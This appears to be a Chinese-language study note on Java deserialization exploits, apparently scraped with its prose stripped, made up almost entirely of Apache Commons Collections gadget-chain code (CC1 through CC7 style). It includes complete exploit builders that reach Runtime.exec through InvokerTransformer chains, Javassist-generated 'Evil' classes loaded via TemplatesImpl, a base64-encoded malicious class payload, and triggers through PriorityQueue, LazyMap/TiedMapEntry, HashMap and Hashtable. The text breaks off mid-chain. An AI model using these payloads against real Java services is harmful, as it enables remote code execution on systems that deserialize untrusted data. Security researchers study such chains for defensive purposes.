Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
相当于
1 2 3 4 5 6
object1 = Runtime.class object2 = getMethod.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}) //object2 = (Method)java.lang.Runtime.getRuntime object3 = invoke.invoke(getRuntime, new Object[]{null, null}) == getRuntime.invoke(null,null) //object3 = (Object)java.lang.Runtime object4 = exec.invoke(Runtime, new Object[]{"calc.exe"}) == Runtime.exec("calc.exe")
public Object get(Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})};
Transformer chain = new ChainedTransformer(fakeChain); Map innermap = new HashMap(); // 触发map Map outermap = LazyMap.decorate(innermap, chain);
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
heapify(); } privatevoidheapify(){ for (int i = (size >>> 1) - 1; i >= 0; i--) //注意这里的size要大于1 siftDown(i, (E) queue[i]); } privatevoidsiftDown(int k, E x){ if (comparator != null) siftDownUsingComparator(k, x); // else siftDownComparable(k, x); } privatevoidsiftDownUsingComparator(int k, E x){ int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; // 即使这里right >= size,下面也会触发 if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; }
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer chain = new ChainedTransformer(fakeChain);
TransformingComparator tfc = new TransformingComparator(chain); PriorityQueue pq = new PriorityQueue(1); pq.add(1); pq.add(2); Field f1 = pq.getClass().getDeclaredField("comparator"); f1.setAccessible(true); f1.set(pq, tfc);
Field f = chain.getClass().getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, realChain);
ByteArrayOutputStream br = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(br); oos.writeObject(pq); oos.close(); System.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray())); Object o = (Object) ios.readObject(); } }
// 生成Evil类 ClassPool pool = ClassPool.getDefault(); // 最好添加下面这段,指定额外搜索路径,防止报错 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); cc.setName("Evil"); String body = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 也可以改成添加静态代码块 CtConstructor cor = new CtConstructor(new CtClass[]{}, cc); cor.setBody(body); cc.addConstructor(cor); // 设置父类 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] code = cc.toBytecode();
TemplatesImpl ti = new TemplatesImpl(); setField(ti, "_bytecodes", newbyte[][]{code}); // 进入 defineTransletClasses() 方法需要的条件 setField(ti, "_name", "name");
InvokerTransformer it = new InvokerTransformer("toString", null, null);
TransformingComparator tfc = new TransformingComparator(it); PriorityQueue pq = new PriorityQueue(2, tfc); pq.add(ti); pq.add(ti);
Field f = it.getClass().getDeclaredField("iMethodName"); f.setAccessible(true); f.set(it, "newTransformer"); ByteArrayOutputStream br = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(br); oos.writeObject(pq); oos.close(); System.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray())); Object o = (Object) ios.readObject(); } }
privatevoidwriteObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out element count, and any hidden stuff s.defaultWriteObject(); ... // Write out all elements in the "proper order". for (int i = 0; i < size; i++) s.writeObject(queue[i]); }
TemplatesImpl obj = new TemplatesImpl(); Field by = obj.getClass().getDeclaredField("_bytecodes"); Field name = obj.getClass().getDeclaredField("_name"); Field tfactory = obj.getClass().getDeclaredField("_tfactory"); by.setAccessible(true); name.setAccessible(true); tfactory.setAccessible(true); by.set(obj, newbyte[][]{code}); // code为字节码 name.set(obj, "hello"); // _name随便值,过 if (_name == null) return null; tfactory.set(obj, new TransformerFactoryImpl()); // _tfactory设值,否则_tfactory.getExternalExtensionsMap()异常 obj.newTransformer();
publicstatic Field getField(Class cls, String name)throws Exception{ Field f = cls.getDeclaredField(name); f.setAccessible(true); return f; } publicstaticvoidsetField(Object obj, String name, Object value)throws Exception{ Field f = getField(obj.getClass(), name); f.set(obj, value); } publicstaticvoidmain(String[] args)throws Exception { // 注意恶意类需要继承AbstractTranslet byte[] code = DatatypeConverter.parseBase64Binary("yv66vgAAADMALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQAERXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAgABAAJAA0ACgALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQABEAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAA8ACwAAACAAAwAAAAEADAANAAAAAAABABIAEwABAAAAAQAUABUAAgAOAAAABAABABYAAQAQABcAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABQACwAAACoABAAAAAEADAANAAAAAAABABIAEwABAAAAAQAYABkAAgAAAAEAGgAbAAMADgAAAAQAAQAWAAEAHAAAAAIAHQ==");
TemplatesImpl ti = new TemplatesImpl(); setField(ti, "_bytecodes", newbyte[][]{code}); // 进入 defineTransletClasses() 方法需要的条件 setField(ti, "_name", "name");
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti}) };
Transformer chain = new ChainedTransformer(fakeChain); Map innermap = new HashMap(); // 触发map Map outermap = LazyMap.decorate(innermap, chain);
publicstatic Field getField(Class cls, String name)throws Exception{ Field f = cls.getDeclaredField(name); f.setAccessible(true); return f; } publicstaticvoidsetField(Object obj, String name, Object value)throws Exception{ Field f = getField(obj.getClass(), name); f.set(obj, value); } publicstaticvoidmain(String[] args)throws Exception { // 生成Evil类 ClassPool pool = ClassPool.getDefault(); // 最好添加下面这段,指定额外搜索路径,防止报错 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); cc.setName("Evil"); String body = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 也可以改成添加静态代码块 CtConstructor cor = new CtConstructor(new CtClass[]{}, cc); cor.setBody(body); cc.addConstructor(cor); // 设置父类 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] code = cc.toBytecode();
TemplatesImpl ti = new TemplatesImpl(); setField(ti, "_bytecodes", newbyte[][]{code}); // 进入 defineTransletClasses() 方法需要的条件 setField(ti, "_name", "name");
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti}) };
Transformer chain = new ChainedTransformer(fakeChain); Map innermap = new HashMap(); // 触发map Map outermap = LazyMap.decorate(innermap, chain);
// 生成Evil类 ClassPool pool = ClassPool.getDefault(); // 最好添加下面这段,指定额外搜索路径,防止报错 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); cc.setName("Evil"); String body = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 也可以改成添加静态代码块 CtConstructor cor = new CtConstructor(new CtClass[]{}, cc); cor.setBody(body); cc.addConstructor(cor); // 设置父类 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] code = cc.toBytecode();
TemplatesImpl ti = new TemplatesImpl(); setField(ti, "_bytecodes", newbyte[][]{code}); // 进入 defineTransletClasses() 方法需要的条件 setField(ti, "_name", "name");
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti}) };
Transformer chain = new ChainedTransformer(fakeChain); TransformingComparator tfc = new TransformingComparator(chain); PriorityQueue pq = new PriorityQueue(1); pq.add(1); pq.add(2); Field f1 = pq.getClass().getDeclaredField("comparator"); f1.setAccessible(true); f1.set(pq, tfc);
Field f = chain.getClass().getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, realChain);
ByteArrayOutputStream br = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(br); oos.writeObject(pq); oos.close(); System.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray())); Object o = (Object) ios.readObject(); } }
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer chain = new ChainedTransformer(fakeChain); Map innermap = new HashMap(); // 触发map Map outermap = LazyMap.decorate(innermap, chain); TiedMapEntry tme = new TiedMapEntry(outermap, "key"); BadAttributeValueExpException bav = new BadAttributeValueExpException(1); Field f1 = bav.getClass().getDeclaredField("val"); f1.setAccessible(true); f1.set(bav, tme);
Field f = chain.getClass().getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, realChain);
ByteArrayOutputStream br = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(br); oos.writeObject(bav); oos.close(); System.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray())); Object o = (Object) ios.readObject(); } }
public V put(K key, V value){ if (table == EMPTY_TABLE) { inflateTable(threshold); } if (key == null) return putForNullKey(value); int hash = hash(key); ... }
finalinthash(Object k){ int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); }
Transformer[] realChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
privatevoidreadObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); ... for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } }
publicstaticvoidmain(String[] args)throws Exception { Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer chain = new ChainedTransformer(fakeChain); Map innermap = new HashMap(); // 触发map Map outermap = LazyMap.decorate(innermap, chain); // TiedMap TiedMapEntry tme = new TiedMapEntry(outermap, "mykey"); // 创建一个HashMap HashMap hm = new HashMap(); hm.put(tme, 123); // 注意这里,要删去LazyMap的"keyekey" outermap.remove("mykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, realChain);
ByteArrayOutputStream br = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(br); oos.writeObject(hm); oos.close(); System.out.println(br); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray())); ois.readObject(); ois.close(); } }
publicbooleanequals(Object o){ if (o == this) returntrue; if (!(o instanceof Map)) returnfalse; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) returnfalse;
try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) returnfalse; } else { if (!value.equals(m.get(key))) returnfalse; } } ... }
privatevoidreconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { thrownew java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); // 注意这里 int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { thrownew java.io.StreamCorruptedException(); } } ... }
privatevoidreadObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ... // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } }
publicclassCC7{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)}; Transformer[] realChain = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})};
Transformer chain = new ChainedTransformer(fakeChain); Map innermap1 = new HashMap(); Map innermap2 = new HashMap();